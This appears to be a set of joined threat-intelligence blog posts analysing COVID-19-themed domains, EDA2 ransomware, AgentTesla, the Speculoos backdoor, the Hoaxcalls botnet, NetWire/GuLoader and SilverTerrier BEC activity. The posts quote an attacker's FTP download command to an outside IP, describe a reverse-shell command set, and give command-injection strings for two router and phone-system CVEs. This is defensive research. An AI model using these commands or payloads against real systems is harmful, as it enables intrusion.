Figure 23. Unsuccessful in-browser cryptojacking on coronavirusinrealtime[.]comInterestingly, we noticed that many of the new coronavirus websites, such as coronamasksupply[.]com and coronavirusinrealtime[.]com embed “dead” in-browser coin mining codes, as shown in Figure 23. Most use the outdated Coinhive service, or obsolete Webminerpool and Crypto-Loot scripts, and as such fail to load correspondent mining libraries or establish a connection with a no longer active websocket endpoint. We suspect that those campaigns copy-paste previous intrusive codes from their older websites, without checking on whether the code is still working or not. Similarly, even content-rich web pages that leverage the popularity of pandemic-related information run unsuccessful cryptojacking, which receives errors on websocket connections to obsolete mining endpoints.
In addition, we also found examples of working in-browser cryptojacking scripts. Examples include JSE-coin on coronashirts[.]store. We wrote more about intrusive coin miners one year ago in a previous blog.
Conclusion
Unfortunately, there will always be cybercriminals who will attempt to victimize people during local, national, and world events when their fears are elevated. We have observed this same type of behavior time and time again when calamitous events occur, cybercriminals start to circle for victims. Sadly, we do not expect this exploitative type of behavior to go away anytime soon.
In the case of coronavirus, we observed a steep increase in the number of coronavirus-related domain names registered every day, matching the rise of user interest in the pandemic. Worrisomely, we found a 569% increase in the average daily number of malicious coronavirus NRDs comparing February to March and a 788% increase for high-risk domains. Since January 1, we identified 2,022 malicious and 40,261 high-risk NRDs. We discovered that these domain names are employed for a wide variety of malicious purposes, including malware distribution, phishing attacks, scams, and black hat SEO.
People should be highly skeptical of any emails or newly-registered websites with COVID-19 themes, whether they claim to have information, a testing kit, or a cure. Special care should be taken to examine domain names for legitimacy and security, such as ensuring it is the legitimate domain (google[.]com vs g00gle[.]com), and that there is a lock icon to the left-hand side of the browser’s URL bar, ensuring a valid HTTPS connection. Similar care should be taken with any COVID-19 themed emails - a look at the sender’s email address often reveals the content is likely not legitimate, as it’s either unknown to the recipient, mis-spelled, or suspiciously long with random seeming characters.
To protect users from cybercriminals, Palo Alto Network’s best practice recommendation for URL Filtering is to block access to the Newly Registered Domain category. However if you cannot block access to the Newly Registered Domains category, then our recommendation would be to enforce SSL decryption to these URLs for increased visibility, to block users from downloading risky file types such as PowerShells and executables, to apply a much stricter Threat Prevention policy, and increase logging when accessing Newly Registered Domains. We also recommend DNS-layer protection, as we know over 80% of malware uses DNS to establish C2.
As for the threats and IOCs specifically outlined in this blog, the following steps have been taken to ensure optimal detection and prevention mechanisms within the Palo Alto Networks technology stack to the extent possible:
Domains, IP addresses, and URLs have been categorized appropriately.
Wildfire verdicts for all samples have been updated and/or verified.
Intrusion Prevention System signatures have been created, updated, and/or verified.
Cortex XDR detections have been deployed, updated, and/or verified.
Autofocus Tags have been created, updated, and/or verified.
Due to the suddenness of the coronavirus outbreak, many employees are self-isolating and working from home. While organizations have always provided secure access to their employees via VPN connections, the enormous amount of employees requiring secure access is unprecedented and requires additional resources and capacity. Palo Alto Networks offers Prisma Access, a cloud-delivered secure access service edge (SASE) platform that provides consistent policy enforcement and security for remote offices and mobile users, and will scale up and down as business demands evolve.
We would like to thank Shawn Huang, Wei Wang, Tao Yan and Wanjin Li for their help with providing some of the data sources necessary for our analysis. We would also like to extend our gratitude to Daiping Liu, Kelvin Kwan, Eddy Rivera, Mark Karayan, Zoltan Deak and Jen Miller Osborn for their advice and help with improving the blog.
Despite prior reporting by various sources indicating that some cyber threat attacker activity may subside in some respects during the COVID-19 pandemic, Unit 42 has observed quite the opposite with regard to COVID-19 themed threats, particularly in the realm of phishing attacks.
While the various COVID-19 themed phishing campaigns observed by Unit 42 are numerous, this blog seeks to provide a thorough picture and solid technical analysis of the cross-section between the various types of COVID-19 themed threats organizations may be facing during the ongoing pandemic. Specifically, we address a ransomware variant (EDA2) observed in attacks on a Canadian government healthcare organization and a Canadian medical research university, as well as an infostealer variant (AgentTesla) observed in attacks against various other targets (e.g, a United States defense research entity, a Turkish government agency managing public works, a German industrial manufacturing firm, a Korean chemical manufacturer, a research institute located in Japan and medical research facilities in Canada).
None of the malware samples mentioned in this blog were successful in reaching their intended targets. Our threat prevention platform with WildFire detects activity associated with these threat groups while simultaneously updating the ‘malware’ category within the URL Filtering solution for malicious and/or compromised domains that have been identified.
Ransomware Campaign
Campaign Overview
Between March 24, 2020 at 18:25 UTC and March 26 at 11:54 UTC, Unit 42 observed several malicious emails sent from the spoofed address noreply@who[.]int (actual sender IP address at the time of the attack was 176.223.133[.]91) to several individuals associated with a Canadian government health organization actively engaged in COVID-19 response efforts, and a Canadian university conducting COVID-19 research. The emails all contained a malicious Rich Text Format (RTF) phishing lure with the file name 20200323-sitrep-63-covid-19.doc, (SHA256: 62d38f19e67013ce7b2a84cb17362c77e2f13134ee3f8743cbadde818483e617), which, when opened with a vulnerable application, attempted to deliver a ransomware payload using a known shared Microsoft component vulnerability, CVE-2012-0158.
It is interesting to note that even though the file name clearly references a specific date (March 23, 2020), the file name was not updated over the course of the campaign to reflect current dates. It is also interesting that the malware authors did not attempt to make their lures appear legitimate in any way; it is clear from the first page of the document that something is amiss.
Once opened with vulnerable document viewing software, the malicious attachment drops a ransomware binary to disk at C:\Users\<victim username>\AppData\Local\svchost.exe, then executes it. It is worth mentioning that the dropped binary has the hidden attribute set, and has an Adobe Acrobat icon.
When the ransomware binary is executed, an HTTP GET request for the resource tempinfo.96[.]lt/wras/RANSOM20.jpg is initiated. This image is the main ransomware infection notification displayed to the victim:
This image is then saved to disk at C:\Users\<victim username>\ransom20.jpg, and is subsequently set as the victim user’s desktop wallpaper. At the time of the attack, the domain tempinfo.96[.]lt resolved to the IP address 31.170.167[.]123.
After the image is downloaded, an HTTP POST request to the resource www.tempinfo.96[.]lt/wras/createkeys.php is made containing the user name and host name of the victim. Of particular note is that connectivity to the remote host is first checked via use of HTTP 100 Continue prior to the malware transmitting the host details:
Figure 4. Network traffic, victim host detail transfer
Once the remote command and control (C2) server successfully receives the victim’s details, it then proceeds to create a custom key based on the username/hostname details and sends the key back to the infected host for further processing. Once the key is received from the C2 server, the infected host then initiates an HTTP POST request to the resource www.tempinfo.96[.]lt/wras/savekey.php containing its hostname and the main decryption key for the host, which is, in itself, AES encrypted:
At this point, encryption of the victim’s files begins. This particular ransomware binary is configured to encrypt files with the following file extensions:
The encryption algorithm is fairly simple, and, when encrypted, files are renamed with a .locked20 extension:
Figure 6. Ransomware encryption source code
Additionally, this ransomware binary has a particularly substantial limitation; it is hardcoded to only encrypt files and directories that are on the victim’s desktop.
From the code structure of the binary and the host based and network based behaviors of the ransomware, Unit 42 has determined that the ransomware variant used in this attack is EDA2, an open-source ransomware variant associated with a larger, parent ransomware family called HiddenTear.
Additional information on this ransomware variant can be found here.
AgentTesla Campaign
It is not a surprise to see malspam actors also taking advantage of the ongoing COVID-19 pandemic crisis and using COVID-19 as a lure to entice victims to click on malicious attachments and infect their systems. Figure 9 gives an example of one such malspam campaign with a COVID-19 lure.
Figure 8. Malspam email with COVID-19 lure delivering AgentTesla
Corporate advisory CoronaVirus (Covid-19)/Corporate advisory Co
ftp[.]lookmegarment[.]com
157[.]245.78[.]47
Table 2. AgentTesla campaign attributes
Figure 10 shows the campaign flow where the email shipping@liquidroam[.]com was used to send the malspam emails to a number of our customers from healthcare, pharmaceutical, government industries among others. After further analysis of the attachments we found that the samples were droppers delivering variants of the AgentTesla malware family. AgentTesla is an info-stealing malware which has been around since 2014. Since AgentTesla has been sold in multiple forums commonly visited by cyber criminals, it’s use has significantly grown in the past years and has been one of the top malware family of choice of the SilverTerrier threat actor, infamous for BEC campaigns. More details on the SilverTerrier campaigns can be found in the recent Unit 42 update here.
Figure 9. Maltego chart of the AgentTesla campaign
All the associated samples connected to the same C2 domain for exfiltration- ftp[.]lookmegarment[.]com. Our analysis also shows that the AgentTesla samples had hard coded credentials used to communicate with the C2 over FTP. Figure 11 shows the exfiltration over FTP, where the C2 is running a Pure-FTPd server.
Figure 11. Network traffic, exfiltration
It is also important to note that the email sender domain, liquidroam[.]com, and the C2 domain, lookmegarment[.]com, are legit business domains providing sales of electric skateboards and garment textiles, respectively. It is likely that the domains have been compromised and their infrastructure being used in the wider campaign of the cyber criminals.
Conclusion
The objective of this blog was to give a deeper understanding on some of the types of cybercrime campaigns being faced by multiple critical industries dealing with the urgent and critical response efforts of the COVID-19 pandemic. It is clear from these cases that the threat actors who profit from cybercrime will go to any extent, including targeting organizations that are in the front lines and responding to the pandemic on a daily basis.
While this blog specifically focused on two campaigns, Unit 42 is tracking multiple campaigns with COVID-19 themes being used by threat actors on a daily basis and this trend is likely going to continue for weeks to come. We will continue updating the Unit 42 blog with new findings and observations on how the ongoing COVID-19 pandemic is being leveraged by cyber criminals for illicit profit.
Palo Alto Networks customers are already protected from the mentioned threats by:
Deploying Threat ID 1114703, 2878137, 2855181, 2850820, 2811429, 2888946
Wildfire successfully classifies the samples as malware
C2 domains are classified as malicious in DNS Security
On March 25, 2020, FireEye published a research blog regarding a global attack campaign operated by an espionage motivated adversary group known as APT41. This attack campaign was thought to have operated between January 20 and March 11, specifically targeting Citrix, Cisco, and Zoho network appliances via exploitation of recently disclosed vulnerabilities. Based on WildFire and AutoFocus data available to Unit 42, we were able to obtain samples of the payload targeting Citrix appliances, which were executables compiled to run on FreeBSD. We also used this data to identify multiple victims in industries such as healthcare, higher education, manufacturing, government and technology services in multiple regions around the world, such as North America, South America, and Europe.
This blog will be specific to the FreeBSD-based payload that we have named Speculoos. We identified a total of five samples from our dataset, all of which were approximately the same file size, but contain minute differences amongst the sample set. The subtle differences indicate that they likely originated from the same developer and were either recompiled or patched. As described by FireEye, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.
Palo Alto Networks customers are protected from this threat. Our threat prevention platform with Wildfire identifies this malware as malicious while simultaneously updating the ‘malware’ category within the PAN-DB URL filtering solution for malicious and/or compromised domains that have been identified. AutoFocus customers can continue to track Speculoos activity by using the Speculoos tag.
Attack Details
In this attack campaign, the adversaries exploited CVE-2019-19781 to direct the victim appliances to retrieve Speculoos over FTP using the command /usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/<filename> as reported by FireEye. Our data was consistent with this activity, with the first wave beginning on January 31, 2020 evening UTC to February 1, 2020 afternoon UTC using the filename bsd. This wave affected multiple higher education organizations in the United States, a healthcare organization in the United States, and a consulting firm in Ireland. A second wave began on February 24, 2020 morning UTC through February 24, 2020 after midnight UTC, this time using the filename un. This wave affected a higher education organization in Colombia, a manufacturing organization in Austria, a higher education organization targeted in the first wave in the United States, and a state government in the United States. While the data Unit 42 has access to is not exhaustive, examining the spread of victims we do have data on appears to indicate that this attack campaign may have been more of an opportunistic push by APT41 to gain footholds in a large number of organizations with minimal effort to expand their attack infrastructure.
The deployment of a tool to run specifically on FreeBSD is fairly novel. Malware targeting BSD-based systems are relatively rare, and considering the use of this tool in conjunction with a vulnerability affecting specific Citrix network appliances, it is highly likely Speculoos was specifically crafted for this attack campaign by APT41.
Binary Analysis
The Speculoos backdoor is an ELF executable compiled with GCC 4.2.1 to run on a FreeBSD system. This payload does not appear to natively be able to maintain persistence, so it is likely it requires the adversary to use a separate component or additional step to maintain their foothold. Upon execution, the payload enters a loop that calls a function to communicate with the following command and control (C2) domain over TCP/443:
alibaba.zzux[.]com (resolving to 119.28.139[.]120)
If it is unable to communicate with the domain above, Speculoos will attempt to use a backup C2 at 119.28.139[.]20, also over TCP/443. If it is able to connect to either C2 server, it will carry out a TLS handshake with the server using the hardcoded buffer in the binary which is used as the first packet in the handshake. Before sending the hardcoded buffer to the C2 server, Speculoos modifies offset 11 with the current time and offset 15 with 28 pseudorandom bytes generated by iterating through the domain string, adding the current time and then using XOR on each byte with 7 multiplied by the byte's offset as a key. Figure 1 shows the hardcoded buffer before Speculoos modifies and sends it to the C2 server.
Figure 1. Hardcoded buffer used as the TLS Client Hello packet sent to the C2 server
Figure 1 suggests that this is a handshake packet for TLS 1.0, specifically the Client Hello. The most interesting part of this Client Hello packet is that it is requesting login.live[.]com as the Server Name Indication (SNI), which suggests that the author may try to make the handshake look innocuous, as seen in Figure 1.
Figure 2. Client Hello packet in the TLS handshake uses login.live.com as the Server Name Indication
After successfully connecting to the C2 and completing the TLS handshake, Speculoos will perform an initial system enumeration to fingerprint the victim system then send the data back to the C2 server. The buffer used to store the information will be 1048 bytes and will be structured as seen in Table 1 below.
Offset
Description
Notes
0
Identifier
Hardcoded string “freebsd”
64
Unknown
Hardcoded “5”
68
Username
Uses ‘getuid’ to get user of process, then ‘getpwuid.pw_name’ to get the name
132
MAC addresses
Uses if_nameindex to iterate through interfaces
152
OS version
Results of ‘uname-v’
216
Hostname
Results of ‘uname-s’ or ‘hostname’
280
Disk space
Enumerates file systems at ‘/’ and ‘/private/var’
904
Physical memory
Sysctl hw.physmem
908
User memory
Sysctl hw.usermem
912
Number of CPUs
Sysctl hw.ncpu
916
CPU speed
Sysctl machdep.tsc_freq/1000000
920
CPU model
Sysctl hw.model
Table 1. Structure used to transmit gathered system information to the C2
The data is sent over the TLS channel and two bytes of data are expected in response by Speculoos. After a successful response, it will then send a single byte (0xa) to the C2 and enter a loop to begin receiving commands. The commands in Table 2 are then made available for the adversary to execute on the victim system. The commands available to Speculoos indicate that this tool is a fully functional backdoor which gives the adversary full control over the victim system.
Command
Sub-command
Description
0x1E
Creates shell related sub-command handler
w (0x77)
Creates a remote shell by forking off a “/bin/sh” process and redirects standard input, output and error to the TLS socket
f (0x66)
Creates disk related sub-command handler
f (0x66)
Remove File (unlink function)
k (0x6B)
Remove Directory (rm -rf "<path>")
e (0x65)
Run specified file (execv)
g (0x67)
Download file
i (0x69)
Upload file
0x14
Enumerate Processes (Name, PID, PPID, Threads)
0x15
Kill process
0x1
List Folder Contents
! (0x21)
Execute command using “sh -c”
Table 2. Commands in Speculoos’s command handler
The two Speculoos samples we analyzed were functionally identical, with only eight bytes differing between the two. This eight byte change was caused by the author replacing the uname -s command with the hostname command when gathering system information. It is unclear why the command may have been changed, as they return different results. uname -s will return the kernel information which would be the string FreeBSD on a FreeBSD system, while hostname would return print the name of the host system. Figure 2 shows a binary comparison between the two Speculoos samples we analyzed that shows the eight byte difference.
Figure 3. Binary comparison between two Speculoos samples showing different commands used to gather the hostname of the system
Impact Assessment
Vulnerabilities that allow for remote code execution by unauthorized users are nearly always a potentially high impact security issue, especially if they affect systems that are public-facing. In this case, CVE-2019-19781 affected multiple appliances that were may be public-facing, and had a highly motivated adversary actively exploiting the vulnerability to install a custom backdoor. Considering the types of appliances that were affected, it is critical that any organization that may be affected take mitigation actions immediately. Because all or a significant amount of network activity must traverse these compromised network appliances, adversaries can more easily monitor or modify an entire organization’s network activity instead of being relegated to a single or handful of devices.
In addition, because by default these appliances have access to a large number of organizational systems, lateral movement becomes far less of a challenge. The adversaries may attempt to directly traverse into other hosts that must traverse through the compromised appliances, or even be able to modify network traffic to perform additional malicious actions, such as injecting/delivering malicious code, executing man-in-the-middle attacks, or redirecting users to adversary owned login pages to harvest credentials. Lastly, due to the nature of appliances, detection of these attacks may be significantly more challenging, as generally they are black-box type solutions which are not often interacted with or inspected for anomalous activity, unless an issue arises.
Palo Alto Networks customers may be protected by
Deploying Threat ID 57625, 57570, and 57497
WildFire properly classifies Speculoos as malicious
C2 domain has been classified as malicious in DNS Security
AutoFocus customers may learn more via the Speculoos tag
As soon as the proof-of-concept (PoC) for CVE-2020-8515 was made publicly available in March, this vulnerability was employed by a new DDoS botnet for propagation. Further analysis shows that this malware can also propagate by exploiting CVE-2020-5722. As of now, the attack traffic detected has doubled since 03/31/2020, implying that many Grandstream UCM6200 and Draytek Vigor devices are infected or under active attack. We notified regional CERTs of potentially infected devices identified during our research prior to publication in an effort to help with awareness and remediation. The Grandstream devices are business telephone systems providers over IP, whereas the latter are routers.
Both CVE-2020-8515 and CVE-2020-5722 have a critical rating (i.e CVSS v3.1 score of 9.8 out of 10) due to their trivial-to-exploit nature. Once exploited, the attacker can execute arbitrary commands on the vulnerable device. It’s not surprising that the threat actors collect these exploits into their arsenals and start wreaking havoc in the Internet of Things (IoT) realm. While Palo Alto Networks customers are protected from such ongoing infections, they are still advised to update patches as soon as possible.
The malware is built on the Gafgyt/Bashlite malware family codebase, which we have dubbed “Hoaxcalls”, based on the name of the IRC channel used for command and control (C2) communications, and is capable of launching a variety of DDoS attacks based on the C2 commands received. In addition to its advanced DDoS capabilities, Hoaxcalls is also capable of propagation by exploiting the aforementioned critical vulnerabilities.
DDoS Bot - Hoaxcalls
Hoaxcalls is a DDoS bot that communicates with its C2 server over IRC. It has various DDoS attack capabilities based on the choice of the C2 operator. Upon reception of a proper C2 command, It can propagate by scanning and infecting vulnerable devices using CVE-2020-8515 and CVE-2020-5722 exploits.
Upon execution, hoaxcalls initializes a message table, xor-decrypts a specific message based on its corresponding index, fetches and prints the message to the console, and then encrypts the decrypted message again. The index of the encrypted string is 0x21, and the decrypted message is hubnrand vbrxmr was here.
The encryption scheme used is the standard byte-wise XOR seen used in most Mirai variants - with the exception of the use of 5 (instead of a single) 8-byte table keys:
This is effectively the equivalent of XOR-ing each byte of the encrypted strings with 0xEC. A similar use of multiple XOR keys was observed in a previous variant.
Table 1 below shows the complete list of the decrypted strings and their corresponding indices. The decrypted string at index 0x1 is used in rand_alpha_str(), and the strings with indices 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, and 0xa are used when the malware starts the watchdog process.
Table Index
Decrypted String
0x21
hubnr and vbrxmr was here
0x1
afsadhgqegtx5425
0x2
/dev/watchdog
0x3
/dev/misc/watchdog
0x4
/sbin/watchdog
0x5
/bin/watchdog
0x6
/dev/FTWDT101_watchdog
0x7
/dev/FTWDT101/watchdog
0x8
/dev/watchdog0
0x9
/etc/default/watchdog
0xa
/etc/watchdog
0xd
/dev/netslink/
0xe
STD
0xf
/usr/bin/python
0x11
/status
0x12
/proc/
0x13
/exe
0x14
/fd
0x15
/proc/net/tcp
0x16
/maps
0x17
/mnt/
0x18
/root/
0x19
/tmp/
0x1a
/var/
0x1b
/home/
0x1c
UPX!
0x1d
PR_SET_NAME
0x1e
/cmdline
Table 1. Decoded credentials and commands
The bot then connects to its C2 server 178[.]32[.]148[.]5 on TCP port 1337 over IRC. The C2’s IRC channel is #hellroom. The nick, ident, and user are strings with length 13 that always start with XTC|, followed by 9 random characters. The following figure shows the bot’s C2 communication with its C2 server over IRC.
Figure 1. Connect to its C2 over IRC
Based on the command received from its C2 server, hoaxcalls carries out different kinds of operations. The following tables show the bot’s supported commands as well as the kind of DDoS attacks hoaxcalls has employed.
Bot Commands
Description
352
set spoof IP addr
376
report nickname, channel, and the key
433
reset nickname with a new random string
422
same as command 376
PRIVMSG
handle flooder command
PING
respond a PONG message
NICK
assign nickname with a designated value
Table 2. Bot’s supported commands
Flooder Commands
Description
UDP
launch UDP flood against specified target
HEX
launch HEX flood against specified target
DNS
launch DNS flood against specified target
DRAYTEK
scan and infect other Draytek devices by exploiting CVE-2020-8515
UCM
scan and infect other Grandstream UCM devices by exploiting CVE-2020-5722
HELP
display command usage
RULES
display rules to follow when using the botnet
INFO
display a brief intro about the bot
Table 3. Flooder commands
The following Figures 2 and 3 show the exploit code when the bot is scanning and infecting any potentially vulnerable victims.
Figure 2. CVE-2020-8515 exploit in hoaxcalls group 1Figure 3. CVE-2020-5722 exploit in hoaxcalls group 1
The flooder commands described above are based on Hoaxcalls samples in group 1. We have found other groups of the variants that are essentially the same in terms of capabilities, despite a few nuances here and there. For example, the Hoaxcalls samples in group1 employ the Draytek and UCM scanning functionalities as part of its C2 flooder command set. The samples in group 2 and 3, however, move the propagation functionalities out of the flooder commands and instead start infecting vulnerable UCM and Draytek devices upon execution. The malicious requests sent during the infection phase are also a bit different. The figures below show the differences in the sample from different groups.
Figure 4. CVE-2020-8515 exploit in hoaxcalls group 2Figure 5. CVE-2020-5722 exploit in hoaxcalls group 2Figure 6. CVE-2020-8515 exploit in hoaxcalls group 3Figure 7. CVE-2020-5722 exploit in hoaxcalls group 3Figure 8. Comparison of samples’ main()
Vulnerability Analysis
CVE-2020-8515
The executable /www/cgi-bin/mainfunction.cgi doesn’t properly filter the keyPath parameter during authentication, resulting in exploitable command injection. The attacker can prepend the payload with special characters like %27%0A to bypass the check and achieve pre-authentication command execution. The vulnerability was observed to be exploited in the wild since December last year.
CVE-2020-5722
The system doesn’t properly validate the user_name parameter, resulting in SQL injection when the Forgot Password feature queries the backend SQLite database and invokes sendMail.py via popen(). The attacker can provide a default username such as admin followed by specific SQL strings and shell metacharacters ' or 1=1--;, effectively turning this vulnerability into a command execution. According to this advisory, this vulnerability can also be exploited through HTML injection. The first exploitation method is observed in current ongoing attacks.
Exploit in the Wild
Our Next-Generation Firewall caught the first incident of CVE-2020-8515 exploitation on March 31, 2020 at 13:51 (UTC). In addition to this attack, several bots’ attempt to propagate by exploiting CVE-2020-5722 were also caught by our firewall. In the case of CVE-2020-8515 exploitation, the threat actor attempted to download a shell script to the tmp directory, and execute the downloaded script, as shown in Figure 9. In the case of CVE-2020-5722 exploitation, the payload only downloads an arm7 binary and executes it, as shown in Figure 10.
Figure 9. CVE-2020-8515 exploit spotted in the wildFigure 10. CVE-2020-5722 exploit spotted in the wild
The following figure shows the content of the downloaded shell script sh. Upon execution, the sh script downloads different architectures of DDoS bot, and runs the downloaded binaries. None of the malwares was available on Virustotal at the time of our discovery, however many of them were uploaded to Virustotal not long after. More and more attack traffic are being detected at the time of writing, indicating that many devices are probably infected already.
Figure 11. Shell script that downloads and launches the bots
Conclusion and Mitigation
Hoaxcalls, a new DDOS botnet, is actively exploiting two vulnerabilities which have wide exposure in environments around the world. These same vulnerabilities are also actively being exploited in additional attacks, according to other security research organizations. Unfortunately, they are also easily exploited and lead to remote code execution; as such we advise everyone to patch as soon as possible.
Palo Alto Networks customers are protected from the aforementioned vulnerabilities by the following products and services:
Next-Generation Firewalls with threat prevention license can block the attacks with best practice via threat prevention signature 57897and 57892.
WildFire can stop the malware with static signature detections.
NetWire is a publicly-available RAT that has been used by criminal organizations and other malicious groups since 2012. NetWire is distributed through various campaigns, and we usually see it sent through malicious spam (malspam). GuLoader is a file downloader that was first discovered in December 2019, and it has been used to distribute a wide variety of remote administration tool (RAT) malware.
This blog reviews a recent distribution chain in March 2020 using Microsoft Word documents to distribute NetWire through GuLoader. We review the infection chain of events, examine the associated network traffic, and cover post-infection artifacts from an infected Windows host. This material is primarily helpful to Security Operations Center (SOC) personnel like front-line analysts and people who perform forensic investigations.
This blog covers the following areas:
Chain of events
Email lures
Malicious Word documents
The initial binary
Infection traffic
Forensics on an infected Windows host
Chain of Events
This chain of events kicks off with an email. The email contains a web link for a Microsoft Word document. The Word document has macro code that retrieves a Windows executable for GuLoader. The executable retrieves an encrypted data file used for NetWire. Then we see command and control (C2) traffic for NetWire RAT activity. See Figure 1 for a flow chart of this infection chain.
Figure 1. Chain of events for this NetWire RAT infection.
Email Lures
Malspam distributing NetWire typically uses attachments or links for the malware. Figure 2 shows one such example from August 2019 with both an attachment and a link for the same Word document to kick off a NetWire RAT infection.
Figure 2. Malspam from August 2019 with both a link and an attachment for a Word document to kick off a NetWire RAT infection.
For an infection chain from March 2020, we clicked on an email link discovered through AutoFocus to retrieve a malicious Word document as shown in Figure 3.
Figure 3. Downloading a malicious Word document from the link in the malspam
Our research led us to two links that generated similar infection chains:
Both links returned Word documents for the same type of NetWire RAT activity. Each document used a different template. Compare Figure 4 with Figure 5 to see the difference in each document.
Figure 4. Document from one of the links to start NetWire RAT infectionFigure 5. Document from another one of the links to start a NetWire RAT infection
The Initial Binary
Enabling macros for each of these Word documents generated an infection on a vulnerable Windows host. Each vulnerable host retrieved an initial binary for GuLoader and ran it from the infected users’ AppData\Local\Temp directory. Figure 7 and Figure 8 show examples from each Word document.
Figure 7. Binary for GuLoader after enabling macros on Andys_18US_Tax.doc
Figure 8. Binary for GuLoader after enabling macros on PM_2019_Screen_18_Tax_File.doc
HTTP request that returned a malicious Word document
HTTP request that returned a malicious Windows executable file (GuLoader)
HTTP request that returned an encoded binary
TCP traffic for NetWire RAT
See Figure 9 and Figure 10 for images of the traffic filtered in Wireshark.
Figure 9. NetWire RAT infection traffic associated with PM_2019_Screen_18_Tax_File.doc and GuLoader filtered in WiresharkFigure 10. NetWire RAT infection traffic associated with Andys_18US_Tax.doc and GuLoader filtered in Wireshark
This March 2020 infection traffic follows the same concept for GuLoader to RAT activity discussed in a previous analysis of GuLoader.
Forensics on an Infected Windows Host
A copy of the initial EXE for GuLoader is made persistent, then the original is deleted from the infected user’s AppData\Local\Temp directory where it was originally saved. The GuLoader EXE is persistent through the Windows Registry under the following key:
Two examples of this Registry update are shown in Figure 11 and Figure 12.
Figure 11. First example of GuLoader persistent through the Windows Registry.Figure 12. Second example of GuLoader persistent through the Windows Registry
Because this is ultimately a NetWire RAT infection, we can also find a registry update at HKCU\Software\NetWire like the example shown in Figure 13.
Figure 13. Windows Registry update for NetWire
We can also find artifacts associated with a NetWire infection as shown in Figure 14 and Figure 15.
Figure 14. First example of file indicating data exfiltrated by NetWire RAT on 2020-03-25Figure 15. Second example of file indicating data exfiltrated by NetWire RAT on March 25, 2020
Conclusion
These types of infections are not very effective against Windows 10 hosts using default security settings. Versions of Microsoft Office since 2013 have Protected View enabled by default that prevents users from enabling macros in Word documents downloaded from the Internet. Furthermore, Real-time protection and Tamper protection settings in Windows Defender were remarkably effective in preventing these infections within a Windows 10 test environment. Finally, within 24 hours of discovery, URLs serving the malware associated with these infections had been taken off-line.
However, criminal distribution of RATs and other types of commodity malware are often a cat-and-mouse game against security vendors. After one wave of malware is distributed, the binaries are updated, and another wave is quickly released into the wild. These efforts rely on wide-scale distribution from the criminals and poor security practices among potential victims. Only a small percentage infection attempts need to be successful for these efforts to be cost-effective.
Palo Alto Networks customers are further protected through our threat prevention platform which is designed to detect and block such threats, and AutoFocus shows these binaries as malicious. As long as this type of malware distribution remains cost-effective, criminals will continue to pursue such methods of attack.
Indicators of Compromise
Infection traffic - first run on 2020-03-25
116.202.210[.]82 port 80 - murthydigitals[.]com - GET /PM_2019_Screen_18_Tax_File.doc
213.219.212[.]206 port 80 - ptgteft[.]com - GET /Exten/TY1920/TY30.exe
213.219.212[.]206 port 80 - matpincscr[.]com - GET /tec_encrypted_340BD0.bin
185.163.47[.]213 port 2121 - www.Novmintservices[.]com - NetWire RAT post-infection TCP traffic
Infection traffic - second run on 2020-03-25
104.27.138[.]31 port 80 - www.artizaa[.]com - GET /Andys_18US_Tax.doc
213.219.212[.]206 port 80 - saidialxo[.]com - GET /lp.exe
185.196.8[.]122 port 80 - www.rossogato[.]com - GET /ROSSO_encrypted_54E9BA0.bin
185.163.47[.]168 port 2020 - www.myamystills[.]com - NetWire RAT post-infection TCP traffic
In 2019, Business Email Compromise (BEC) maintained its rankings as both the most profitable and the most prominent threat facing our customers. According to the Federal Bureau of Investigation (FBI) Internet Crime Complaint Center (IC3), which recently released its annual report, US$1.77 billion in losses were attributed to BEC attacks over the course of 2019. This number dwarfed losses associated with romance scams, identity theft, credit card fraud, phishing, and ransomware combined over the same period.
With cases reported across all 50 states and in 177 countries, the FBI also published a press release in September 2019 announcing that in the preceding three-year period, BEC losses eclipsed US$26 billion globally. Put into perspective, the known and reported losses associated with this threat now exceed the estimated global losses from WannaCry (an estimated US$4 billion) and NotPetya (an estimated US$10 billion) combined.
Recognizing the severity of the threat combined with its impacts on our customers, Palo Alto Networks’ Unit 42 researchers continue to focus a core area of their research on Nigerian cybercrime, given the dominant proportionality and sheer enormity of BEC attacks originating from the region. Assigned the name SilverTerrier, these actors have now collectively produced more than 81,300 samples of malware linked to 2.1 million attacks. From their humble beginnings as a few individuals experimenting with commodity malware in 2014, our recent global data shows the number of threat actors has grown significantly to encompass over 480 different actors and groups that we track today.
In five years (from 2014 to 2019), SilverTerrier actors have evolved from being novice threat adversaries to mature cybercriminals.
According to our latest findings, we saw an 1163% increase in BEC attacks against the professional and legal services industry in 2019. While we lack insight into the root cause, this jump nevertheless demonstrates a significant shift in targeting practices amongst SilverTerrier actors.
Peaking at 245,637 BEC attacks in June 2019, the year ended with an average of 92,739 BEC attacks per month, representing a 172% increase from 2018. Of those BEC attacks, 97.8% leveraged email protocols to reach target networks. The most common tools that SilverTerrier actors used to attack organizations once they infiltrated those networks were information stealers and remote administration tools (RATs).
In this report, we identify the trends associated with SilverTerrier attacks, provide a refined adversary profile for network defenders, highlight the implications associated with the emergence of the first Nigerian commodity tool developer, and provide an overview of actions Palo Alto Networks is undertaking internally and externally to address this threat.
Attacks
In 2018 we noted an average of 34,039 attacks per month against our customer base. Over the course of 2019, those metrics have more than doubled, as monthly attack rates crossed the 50K, then 100K, and ultimately the 200K thresholds. Peaking at 245,637 attacks in June, 2019 ended with an average of 92,739 attacks per month, representing a 172% increase from 2018. Furthermore, while we continue to assess that this growth is representative of global trends, it remains important to note that our metrics only reflect attacks against our customer base, and as such, the total number of global attacks launched by these actors is presumed to be far greater.
Figure 1. Nigerian malware activity from July 2014 through December 2019
Exploring the targets of these attacks, we found that Nigerian threat actors remain indiscriminate in their targeting. Our data shows attacks targeted all industry segments, including small to large businesses, healthcare organizations, and even local, state, and federal government institutions. In measuring the top five targeted industries, we found the following:
The high-tech industry received the greatest number of attacks, nearly doubling from 164K in 2018 to 313K in 2019.
